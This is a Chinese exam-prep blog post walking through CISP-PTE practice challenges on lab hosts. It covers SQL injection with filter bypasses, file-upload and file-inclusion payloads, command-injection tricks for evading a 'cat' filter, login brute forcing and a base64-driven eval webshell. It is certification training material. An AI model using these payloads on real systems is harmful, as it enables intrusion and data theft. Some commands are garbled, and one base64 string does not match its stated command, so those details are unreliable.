0


CISP-PTE实操练习题讲解一(新版)

CISP-PTE实操练习题讲解一(新版)

文章目录

前言

最近已经考完PTE的考试了,总体来说,难度较大,对于我学渗透测试快一年来说,基础还算不错的,但是最后还是因为没有接触过一些新题型,导致最后的key没有做出来,不过最后还是加上选择题的分数,刚刚过的,今天,我给大家总结一下,在培训过程中讲的第一套题的新的解题方法。希望对以后有需要考PTE的同学有帮助,后续会讲第二套和综合题的解法,大家好好复习一下哈。

一、CISP-PTE考试感悟

CISP-PTE的考试圆满的结束了,考试难度的话,选择题比较简单,当基础题SQL注入比较难,是个登录系统,用弱口令,万能密码,都不能登录进去,因为答案的key就在根目录下,用sqlmap去读文件的时候,也跑不出来,就放弃了。然后把其余4道都写了,都比较简单,不是很难。但是综合题真的很难,考的是Linux环境下的综合题,考试预测可能是win2008或者Linux的环境,但是刚好那天我们是分批考的,上午考的Linux,下午考的是win2008的环境,所以我做的时候非常痛苦,硬着头皮把前两个key拿到就跑路了,第一个key是连接数据库后,修改网站后台密码,登录进去得到的key。第二个就是通过文件包含和伪协议base64编码得到的,第三个就是的key蚁剑连接在key目录下,进行提权才可以拿到,最后因为蚁剑怎么都传不上去,就放弃了。所以就拿到两个key,就跑路了。最后就是选择题比较简单,拿到了17分。总体就是,最后拿到了6个key+17分,低分飘过了。实在是实属不易啊,最后,会开始着手软考信安方向的复习了。以后,如果比毕业工作了,有经济的话,会继续考虑一些信息安全方面的证书的。听老师说,逆向方面的工作挺不错,不过要学好汇编才行,以后如果有时间的话,会好好学一下逆向方面的知识,多一条技术,为以后工作多一条出路,大家趁大学时候,抓紧学习,增强自己的实力呀,为以后就业有更好的铺垫。好了,考试的情况就跟大家讲到这里了,以后有机会的话,会跟大家分享更多考试相关的经验和渗透相关的知识哈。下面是我在实操练习中对之前的套题做一次新的讲解,知识点会更全面,对考试都会有帮助的。

二、CISP-PTE实操练习题讲解(一)

1. SQL注入

(1)第一种解法

在这里插入图片描述
我们进入答题,通过提示,答案就在这个/tmp/360/key路径下
http://192.168.230.131:81/vulnerabilities/fu1.php?id=1

标题中有提示注入的地方,id号有存在括号注入,我注入的时候就要加上括号
select * from article where id= (‘1’)

我们在后面加上’),发现报错
http://192.168.230.131:81/vulnerabilities/fu1.php?id=1’)
在这里插入图片描述
没有回显,在加上单引号,出现了回显
在这里插入图片描述
说明存在SQL注入,我们在看看是否存在过滤点,当我们判断地段个数时,注入以下语句时
http://192.168.230.131:81/vulnerabilities/fu1.php?id=1’) order by 4–

回显出这个语句,说明空格被过滤了
select * from article where id= (‘1’)orderby4–‘)
在这里插入图片描述
我们用注释符将空格进行绕过,将后面(-- )换成#进行绕过
在这里插入图片描述
在这里插入图片描述
没有回显,说明#号也被过滤了,我们在修改为base64编码进行绕过试试,修改为以下语句
在这里插入图片描述
在这里插入图片描述
发现报错了,可能不是这个字段数,修改为4时
在这里插入图片描述
在这里插入图片描述
发生了回显,说明存在4个字段,先绕过了,我们用联合查询,查一下数据看看
在这里插入图片描述
在这里插入图片描述
报错,且没有显示union字段,说明union关键字被过滤了,我们双写进行绕过试试
在这里插入图片描述
在这里插入图片描述
回显成功了,绕过成功了,我们将id=1赋值为id=-1进行报错,回显看看
在这里插入图片描述
在这里插入图片描述
2,3,4是回显位置,我们用位置(2)进行注入看看,这里用到读文件的函数load_file(’/tmp/360/key’)
在这里插入图片描述
在这里插入图片描述
回显成功了,得到key就是key:8b3h4a7v。这道题主要是过滤了空格和注释符#的过滤,以及union关键字的过滤。

(2)第二种解法

当然,此题,也可以用sqlmap去解。直接调用–file-read,和tamper脚本进行读文件就可以了。

我们打开sqlmap,写入一下语句执行
python sqlmap.py -u “http://192.168.230.131:81/vulnerabilities/fu1.php?id=1” --file-read=/tmp/360/key --tamper “space2hash.py” -level 3 -batch
在这里插入图片描述
在这里插入图片描述
读到的key文件就在图中黄色的路径中了,我们只需要去查看就可以了,找到当前w文件的路径
C:\Users\CISP-PTE\AppData\Local\sqlmap\output\192.168.230.131\files
在这里插入图片描述
在这里插入图片描述
我们就拿到key了。

2. 文件上传

(1)http://192.168.230.131:82/vulnerabilities/fu1.php
在这里插入图片描述
我们进入答题
在这里插入图片描述
我们在桌面新建一个包含读文件代码的图片,进行上传
GIF89a
<?php echo file_get_contents('../key.php');?>

在这里插入图片描述
在这里插入图片描述
打开代理,利用burp进行抓包上传
在这里插入图片描述
发送到reperter,修改后缀名为.php,进行重发
在这里插入图片描述
发现没有上传成功,说明php内过滤了,我们双写或改成.php3绕过试试
在这里插入图片描述
修稿为.php3之后,上传成功了,我们查看一下文件试试
http://192.168.230.131:82/vulnerabilities/b.php3
在这里插入图片描述
我们打开源代码看看
在这里插入图片描述
我们就拿到了key:8t5s0x5t。

这里我总结几种读文件的方法给大家:
<?php readfile('../key.php');?> <?php highlight_file('../key.php');?> <?php echo file_get_contents('../key.php');?>

这里还有一种解法,就是写一句话木马在文件中,然后上传,用蚁剑连接,查看根目录下的key文件就可以了,这里就不介绍了,大家可以尝试一下。

3. 文件包含

http://192.168.230.131:83
在这里插入图片描述
进入答题后
http://192.168.230.131:83/vulnerabilities/fu1.php?file=view.html
在这里插入图片描述
看到文件包含漏洞,我们首先想到的是伪协议是否能读出来,还有base64编码是否可以,以及远程包含上一题中文件上传时的照片,都试一下各个方法是否行的通。

答案就在根目录下,我们直接构造语句就可以了,就是在…/key目录下,首先我们利用伪协议试试
data:/text/plain,<?php readfile('../key.php');?>

http://192.168.230.131:83/vulnerabilities/fu1.php?file=data:/text/plain,<?php readfile('../key.php');?>
在这里插入图片描述
右键查看我们源码即可
在这里插入图片描述
我们成功拿到了key:6u3x9t2p。

类似的
我们可以使用以下伪协议:
data:text/plain,<?php readfile('../key.php');?>
data://text/plain,<?php readfile('../key.php');?>
data:,<?php readfile('../key.php');?>

(2)还有php://input方法,我们进行抓包,在file那里输入php://input和在get请求下面输入读文件的代码,就可以直接读出key了
在这里插入图片描述
(3)还有一种方法就是进行base64编码进行读文件
php://filter/convert.base64-encode/resource=…/key.php

http://192.168.230.131:83/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=…/key.php
在这里插入图片描述
我们读到了一段base64的编码
R2V0IGl0IQ0KPD9waHANCg0KLy9rZXk6NnUzeDl0MnANCj8+
通过解码之后,为以下语句
Get it!
<?php //key:6u3x9t2p ?>

我们就得到了key:6u3x9t2p。
(4)此题还有另一种解法,就是进行远程文件包含,而且是包含上一题的图片文件
http://192.168.230.131:83/vulnerabilities/fu1.php?file=http://192.168.230.131:82/vulnerabilities/b.php3
在这里插入图片描述
我们也找到了key:8t5s0x5t。

4. 命令执行

http://192.168.230.131:84
在这里插入图片描述
我们进入答题
http://192.168.230.131:84/vulnerabilities/fu1.php
在这里插入图片描述
我们来测试一下管道符哪个被过滤了&,|,;三个管道符测试了之后都没有显示错误,说明都没有被过滤,都测试了之后,都没有报错,说明都没有被过滤

我们直接读取文件
| cat …/key.php
在这里插入图片描述
发现cat被过滤了,我们用特殊符号绕过一下,输入| c’a’t …/key.php
在这里插入图片描述
在这里插入图片描述
我们右键查看源码
在这里插入图片描述
我们就拿到了key:3s9j6c2k。我们还可以用tac来读取文件。
在这里插入图片描述
在这里插入图片描述
直接就读到key了。

我给大家总结了读文件的命令:
cat more less head tail sort tac vi vim nl od xxd cp awk nano curl

危险函数
system()
exec()
passthru()
shell_exec
pcntl_exec()
preg_replace()

解题方法:
&head …/key.p?p–右键–查看源码
&od -c …/key.p?p
3.绕过cat检测
a.? 任意单个字符
&/bin/c?t …/key.p?p-查看源码
b.* 任意长度的字符
&/bin/c*t …/key.p?p
c.单引号
&/bin/c’a’t …/key.p?p
d.双引号
&/bin/c"a"t …/key.p?p
e.
&/bin/c\a\t …/key.p?p
f:赋值
&a=c;b=at;

    a
   
  
  
   a
  
 
ab …/key.p?p

过滤cat:php cat–绕过
&/bin/c"a"t …/key.p?p

5. 日志分析

http://192.168.230.131:85/
在这里插入图片描述
http://192.168.230.131:85/access.log
在这里插入图片描述
我们先查127.16.12.12的地址,在查看返回200状态码的地址,我们按Ctrl+F键进行搜索
在这里插入图片描述
在这里插入图片描述
我们找到这个文件进行打开登录
在这里插入图片描述
会出现这个登录页面
在这里插入图片描述
我们进行账号和密码爆破,我们使用两个账号和密码字典进行爆破,得到账号和密码是:admin,password123
在这里插入图片描述
在这里插入图片描述
我们就拿到了key:9y6u8s5m。

6. 代码审计

http://192.168.230.131:83/vulnerabilities/fu1.php?file=code.html

我们查看一下源代码
http://192.168.230.131:83/vulnerabilities/code.html
在这里插入图片描述
在这里插入图片描述
<?php if (isset($_GET['cmd']) && strlen($_GET['cmd']) <=30) { @exec($_GET['cmd']); } ?>

提交方法:get
参数:cmd
长度小于等于30
执行:exec 没有回显

&cmd=echo “<?php eval($_POST['a']);?>”>a.php
由于长度限制是30,所以无法写入一句话

我们可以使用重定向到a.txt文件,然后打开a.txt文件进行查看内容。
http://192.168.230.131:83/vulnerabilities/fu1.php?file=code.html&cmd=ls …/>a.txt

我们查看a.txt文件查看
http://192.168.230.131:83/vulnerabilities/a.txt
在这里插入图片描述
我们查看key.php文件的内容
http://192.168.230.131:83/vulnerabilities/fu1.php?file=code.html&cmd=cat …/key.php>a.txt
在这里插入图片描述
我们就拿到了key:6u3x9t2p。

7. 代码审计(2)

http://192.168.230.131:83/vulnerabilities/fu1.php?file=view1.html
在这里插入图片描述
我们查看一下源码
http://192.168.230.131:83/vulnerabilities/view1.html
在这里插入图片描述
在这里插入图片描述
<?php @$a = $_POST['Hello']; if(isset($a)){ @preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=')); } ?> </p> <p>在这里我们可以看到有一个经过base64编码的一句话,我们先来j解码看看是什么先<br> W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=<br> 解码后:[@eval(base64_decode($_POST[z0]));]<br> 发现是一句话</p> <p>我们用蚁剑连接看看,密码是z0<br><img src="https://img-blog.csdnimg.cn/cc0e1ec866f54fd0bc8f9acc6251e432.png" alt="在这里插入图片描述"><br> 这里提示z0不能是密码<br><img src="https://img-blog.csdnimg.cn/d8a889a7191c407583b0ef0a00e17938.png" alt="在这里插入图片描述"><br> 我们看一下源码中的@$a = $_POST[‘Hello’]; ,是要提示我们用也可以用Hello进行登录,我们在试试。<br> 这里由于环境的问题,是连接不上去的,当我们可以采用另一种方法,用post方法提交试试。</p> <p>我们提交参数,进行赋值,查看一下根目录的文件有哪,输入一下语句:<br> Hello=a&z0=system(‘ls …/’);<br> 再对z0后面的语句进行编码<br> Hello=a&z0=c3lzdGVtKCdscyAuLi8nKTs=<br><img src="https://img-blog.csdnimg.cn/712459ae137d4d9188d59e839ab5c584.png" alt="在这里插入图片描述"><br> 有key.php文件,我们查看一下<br> Hello=a&z0=system(‘cat …/key.php’);<br> 编码后:<br> Hello=a&z0=c3lzdGVtKCcuLi9rZXkucGhwJyk7<br><img src="https://img-blog.csdnimg.cn/3e31b3bd79b741aea0933f87f0b2c59e.png" alt="在这里插入图片描述"><br> 右键查看源码即可<br><img src="https://img-blog.csdnimg.cn/fe8d9e98a842477ea9dabfc43f7ae946.png" alt="在这里插入图片描述"><br> 我们就拿到了key:6u3x9t2p。</p> <h2>总结</h2> <p>在这里我们就讲解完了第一套题了,另外多了两套代码审计的题,作为扩展练习,大家可以看一下,篇幅有点长,几乎把每道题说设计的知识点都讲的很详细了。接下来会讲解第二套题,也是历年考试考过的题目,大家好好复习一下。</p>


本文转载自: https://blog.csdn.net/lza20001103/article/details/126175690
版权归原作者 炫彩@之星 所有, 如有侵权,请联系我们删除。

“CISP-PTE实操练习题讲解一(新版)”的评论:

还没有评论